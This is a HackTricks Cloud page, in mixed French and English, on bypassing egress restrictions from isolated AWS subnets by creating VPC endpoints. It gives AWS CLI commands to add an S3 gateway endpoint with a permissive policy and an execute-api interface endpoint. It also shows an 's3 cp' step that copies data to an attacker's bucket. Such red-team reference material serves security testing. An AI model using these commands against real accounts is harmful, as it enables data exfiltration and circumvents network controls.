AWS – Contournement de l'egress depuis des subnets isolés via VPC Endpoints
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Summary
Cette technique abuse des VPC Endpoints pour créer des canaux d'exfiltration depuis des subnets sans Internet Gateways ni NAT. Les Gateway endpoints (p.ex. S3) ajoutent des prefix‑list routes dans les subnet route tables ; les Interface endpoints (p.ex. execute-api, secretsmanager, ssm, etc.) créent des ENIs atteignables avec des private IPs protégées par des security groups. Avec des permissions VPC/EC2 minimales, un attaquant peut activer un egress contrôlé qui ne traverse pas le public Internet.
Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.
Option A – S3 Gateway VPC Endpoint
Variables
REGION=us-east-1VPC_ID=<target vpc>RTB_IDS=<comma-separated route table IDs of private subnets>
- Create a permissive endpoint policy file (optional). Save as
allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
- Créer le S3 Gateway endpoint (ajoute une S3 prefix‑list route aux route tables sélectionnées) :
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json # optional
Éléments de preuve à collecter :
aws ec2 describe-route-tables --route-table-ids $RTB_IDSindique une route vers la prefix list AWS S3 (par ex.,DestinationPrefixListId=pl-..., GatewayId=vpce-...).- Depuis une instance dans ces subnets (avec IAM perms) vous pouvez exfil via S3 sans Internet:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
Option B – Interface VPC Endpoint pour API Gateway (execute-api)
Variables
REGION=us-east-1VPC_ID=<target vpc>SUBNET_IDS=<comma-separated private subnets>SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
- Créez l'interface endpoint et attachez le SG :
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
Éléments de preuve à recueillir :
aws ec2 describe-vpc-endpointsmontre le endpoint en étatavailableavecNetworkInterfaceIds(ENIs dans vos subnets).- Les instances dans ces subnets peuvent atteindre les Private API Gateway endpoints via ces ENIs VPCE (aucun chemin Internet requis).
Impact
- Contourne les contrôles de sortie (egress) périmétriques en exploitant des chemins privés gérés par AWS vers les services AWS.
- Permet l'exfiltration de données depuis des subnets isolés (par ex., écrire sur S3 ; appeler Private API Gateway ; accéder à Secrets Manager/SSM/STS, etc.) sans IGW/NAT.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud